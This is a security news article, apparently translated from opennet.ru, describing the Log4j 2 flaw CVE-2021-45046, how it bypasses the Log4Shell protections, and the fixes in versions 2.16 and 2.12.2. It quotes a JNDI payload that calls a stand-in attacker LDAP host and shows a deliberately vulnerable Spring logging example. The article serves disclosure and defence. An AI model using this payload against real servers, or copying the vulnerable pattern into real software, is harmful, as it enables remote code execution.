Another vulnerability has been identified in the implementation of JNDI substitutions in the Log4j 2 library (CVE-2021-45046), which occurs despite the fixes added in release 2.15 and regardless of the use of the "log4j2.noFormatMsgLookup" setting for protection. The problem is dangerous mainly for older versions of Log4j 2, protected using the "noFormatMsgLookup" flag, as it makes it possible to bypass protection against a previous vulnerability (Log4Shell, CVE-2021-44228), which allows you to execute your code on the server. For users of version 2.15, exploitation is limited to creating conditions for the application to crash due to the exhaustion of available resources.
The vulnerability only occurs on systems that use Context Lookups such as ${ctx:loginId} or Thread Context Maps such as %X, %mdc, and %MDC for logging. Operation comes down to creating conditions for outputting data containing JNDI substitutions to the log when using context queries or MDC templates in the application that define the rules for formatting output to the log.
Researchers from LunaSec noted that for versions of Log4j less than 2.15, this vulnerability can be used as a new vector for a Log4Shell attack that leads to code execution if ThreadContext expressions are used when outputting to the log, into which external data enters, regardless of the inclusion to protect the flag " noMsgFormatLookups" or template "%m{nolookups}".
The protection bypass comes down to the fact that instead of direct substitution "${jndi:ldap://attacker.com/a}", this expression is substituted through the value of an intermediate variable used in the rules for formatting output to the log. For example, if the context query ${ctx:apiversion} is used when outputting to the log, then the attack can be carried out by substituting the data "${jndi:ldap://attacker.com/a}" into the value written to the apiversion variable. Vulnerable code example: appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // The "X-Api-Version" HTTP header value is passed to the ThreadContext ThreadContext.put("apiversion", apiVersion ); // When outputting to the log, the external value of apiversion will be processed using the substitution ${ctx:apiversion} logger.info("Received a request for API version"); return "Hello, world!"; }
In Log4j 2.15, the vulnerability could be exploited to perform DoS attacks when passing values ββto the ThreadContext that would cause the output formatting pattern to loop.
Updates 2.16 and 2.12.2 have been published to block the vulnerability. In the Log4j 2.16 branch, in addition to the fixes implemented in version 2.15 and binding JNDI LDAP queries to "localhost", JNDI functionality is completely disabled by default and support for message substitution patterns has been removed. As a security workaround, it is suggested to remove the JndiLookup class from the classpath (e.g. "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class").
You can track the appearance of fixes in packages on the pages of distributions (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) and Java platform manufacturers (GitHub, Docker, Oracle, vmWare, Broadcom and Amazon / AWS, Juniper, VMware, Cisco, IBM , Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, etc.).
Source: opennet.ru